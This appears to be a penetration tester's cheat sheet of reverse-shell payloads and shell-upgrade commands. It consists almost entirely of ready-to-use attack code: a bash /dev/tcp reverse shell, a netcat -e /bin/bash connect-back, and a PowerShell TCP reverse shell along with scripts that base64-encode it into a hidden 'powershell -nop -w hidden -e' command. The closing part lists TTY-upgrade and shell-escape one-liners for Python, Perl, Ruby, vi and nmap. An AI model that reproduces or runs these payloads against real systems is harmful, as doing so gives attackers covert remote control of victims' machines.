NOTE: Create a .sh file and paste the following

#!/bin/bash
/bin/bash -c "bash -i >& /dev/tcp/<Kali IP Address>/<Kali Port> 0>&1"

Netcat

• Linux

nc -nv <Kali IP Address> <Kali Port> -e /bin/bash

PowerShell

Do the following in Kali's pwsh

$Text = '$client = New-Object System.Net.Sockets.TCPClient("<Kali IP Address>", <Kali Port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText

Create the following python script and run it

import sys
import base64

payload = '$client = New-Object System.Net.Sockets.TCPClient("<Kali IP Address>",<Kali Port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()

print(cmd)

TTY Shell

NOTE: Sometime we get a reverse shell and it may not be fully functional. The following commands allow us to spawn proper shell.

Python

python -c 'import pty; pty.spawn("/bin/sh")'

python3 -c 'import pty;pty.spawn("/bin/bash")'; export TERM=xterm-256color

Bash

echo os.system('/bin/bash')

/bin/sh -i

/bin/bash -i

script -qc /bin/bash /dev/null

Perl

perl -e 'exec "/bin/sh";'

exec "/bin/sh";

Ruby

exec "/bin/sh"

Lua

os.execute('/bin/sh')

IRB

exec "/bin/sh"

Vi

:!bash

:set shell=/bin/bash:shell

Nmap:

!sh
